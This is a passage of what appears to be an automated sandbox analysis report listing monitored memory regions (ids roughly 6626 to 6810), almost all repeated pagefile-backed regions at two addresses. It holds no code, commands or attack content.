0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6626 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6627 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6628 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6629 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6630 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6631 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6632 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6633 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6634 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6635 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6636 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6637 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6638 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6639 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6640 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6641 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6642 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6643 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6644 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6645 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6646 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6647 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6648 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6649 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6650 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6651 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6652 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6653 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6654 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6655 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6656 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6657 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6658 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6659 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6660 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6661 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6662 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6663 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6664 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6665 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6666 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6667 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6668 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 6669 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6670 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6671 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6672 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6673 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6674 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6675 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6676 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 6677 start_va = 0x450000 end_va = 0x453fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6678 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6679 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6680 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6681 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6682 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6683 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6684 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6685 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6686 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6687 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6688 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6689 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6690 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6691 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6692 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6693 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6694 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6695 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6696 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6697 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6698 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6699 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6700 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6701 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6702 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6703 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6704 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6705 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6706 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6707 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6708 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6709 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6710 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6711 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6712 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6713 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6714 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6715 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6716 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6717 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6718 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6719 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6720 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6721 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6722 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6723 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6724 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6725 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6726 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6727 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6728 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6729 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6730 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6731 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6732 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6733 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6734 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6735 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6736 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6737 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6738 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6739 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6740 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6741 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6742 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6743 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6744 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6745 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6746 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6747 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6748 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6749 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6750 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6751 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6752 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6753 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6754 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6755 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6756 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6757 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6758 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6759 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6760 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6761 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6762 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6763 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6764 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6765 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6766 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6767 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6768 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6769 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6770 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6771 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6772 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6773 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6774 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6775 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 6776 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 6777 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6778 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6779 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6780 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6781 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6782 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6783 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6784 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6785 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6786 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6787 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6788 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6789 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6790 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6791 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6792 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6793 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6794 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6795 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6796 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6797 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6798 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6799 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6800 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6801 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6802 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6803 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6804 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6805 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6806 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6807 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6808 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6809 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 6810 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = 